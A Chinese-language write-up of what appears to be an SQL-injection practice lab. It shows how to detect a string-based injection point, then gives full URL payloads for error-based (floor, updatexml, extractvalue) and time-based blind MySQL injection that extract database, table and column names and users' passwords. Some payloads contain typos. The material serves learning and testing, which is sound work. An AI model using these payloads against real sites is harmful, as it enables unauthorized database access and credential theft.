考查点:双查询报错注入
1.先判断注入类型
(1)首先看到要求,要求传一个ID参数,并且要求是数字型的;?id=1
(2)再输入?id=1'
显示报错,报错多了一个单引号
(3)再输入?id=1''
判断是字符型注入
2.对列数进行判断
(1)输入?id=1' order by 3 --+
(2)输入?id=1' order by 4 --+
判断是3列
3.因为页面正常的时候,均无输出部分,判断应该没有显示位,此时可尝试报错注入。
4.常用的报错语句模板:
(1)通过floor报错
①and (select 1 from (select count(),concat((payload),floor(rand(0)*2))x from information_schema.tables group by x)a)
②其中payload为你要插入的SQL语句
③需要注意的是该语句将 输出长度限制在64个字符
(2)通过updatexml报错
①and updatexml(1,payload,1)
②同样盖语句对输出的字符长度也做了限制,其最长输出32位
③并且该语句对payload的返回类型也做了 限制
(3)通过extractvalue 报错
①and extractvalue(1,payload)
②输出字符有长度限制,最长32位
5.我们用floor进行注入
(1)爆库长:?id=1' and (select 1 from (select count(*),concat(((select group_concat(schema_name) from information_schema.schemata)),floor (rand(0)*2))x from information_schema.tables group by x)a) --+
这里发现页面提示我输出信息超过一行,但我们已经使用了group_concat函数,说明这里数据库名组成的字符串长度超过了64位,所以我们需要放弃group_concat函数,而使用limit 0,1来一个个输出
group_concat()函数的作用:将返回信息拼接成一行显示
limit 0,1 表示输出第一个数据。 0表示输出的起始位置,1表示跨度为1(即输出几个数据,1表示输出一个,2就表示输出两个)
(2)注当前的数据库名:?id=-1' union select 1,count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x; --+
需要注意的是,此时数据库名并不是schema1
这个1是floor报错语句中输出的也一部分(无论输出什么结果,都会有这个1)
为了防止某些时候,我们误以为这个1也是我们查询结果的一部分,我建议大家使用一个;与它分开,语句如下:?id=-1' union select 1,count(*),concat(database(),';'floor(rand(0)*2))x from information_schema.tables group by x; --+
(3)爆注册表:?id=-1' union select 1,count(*),concat((select concat(table_name,';') from information_schema.tables where table_schema="security" limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x; --+
(4)注某张表的字段,这里以users为例:?id=-1' union select 1,count(*),concat((select concat(column_name,';') from information_schema.columns where table_name='users' limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x; --+
(5)注字段的username值,这里以users为例:?id=-1' union select 1,count(*),concat((select concat (username,';') from security.users limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x; --+
(6)注字段的password,这里以users表为例:?id=-1' union select 1,count(*),concat((select concat(password,';') from security.users limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x; --+
5.时间延迟型手工注入:
时间延迟型手工注入,正确会延迟,错误没有延迟。id无所谓,又不看回显,可以通过浏览器的刷新提示观察延迟情况,但是id正确的时候的回显有利于观察。
payload=?id=1' and if(报错型payload核心部分,sleep(5),1) --+
(1)爆库长:?id=1' and if(length(database())=8,sleep(5),1) --+
明显延迟,数据库长度为8;
(2)爆库名:?id=1' and if(left(database(),1)='s',sleep(5),1) --+
明显延迟,数据库的第一个字符为s,接下来增加left(database(),字符长度)中的字符长度,等号右边依次爆破下一个字符,正确匹配时会延迟。最终爆破得到的left(database(),8)='security'
(3)爆表名:?id=1' and if(left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' ,sleep(5),1) --+
通过坚持不懈的测试,终于在limit 3,1 爆破出user表名为users
(4)爆列名:?id=1' and if(left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='passsword' ,sleep(5),1)--+
首先尝试定向爆破,可提高手工注入速度,修改limit x,1中x查询password是否存在表中,lucky是limit3,1的时候查到了password列,同样的方法查询username有一个lucky,接下来爆破字段的值
(5)爆破值:
?id=1' and if(left((select password from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+
?id=1' and if(left((select username from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+
按照id排序,这样便于对应。注意limit 从0开始.通过坚持不懈的尝试终于爆破到第一个用户的名字dumb,密码dumb,需要注意的是,mysql对大小写不敏感,所以你不知道是Dumb 还是dumb。
所以要在更多的在前人的基础上创造新的东西。这种重复性的工作,不要多做。sql注入,人生苦短,快用sqlmap。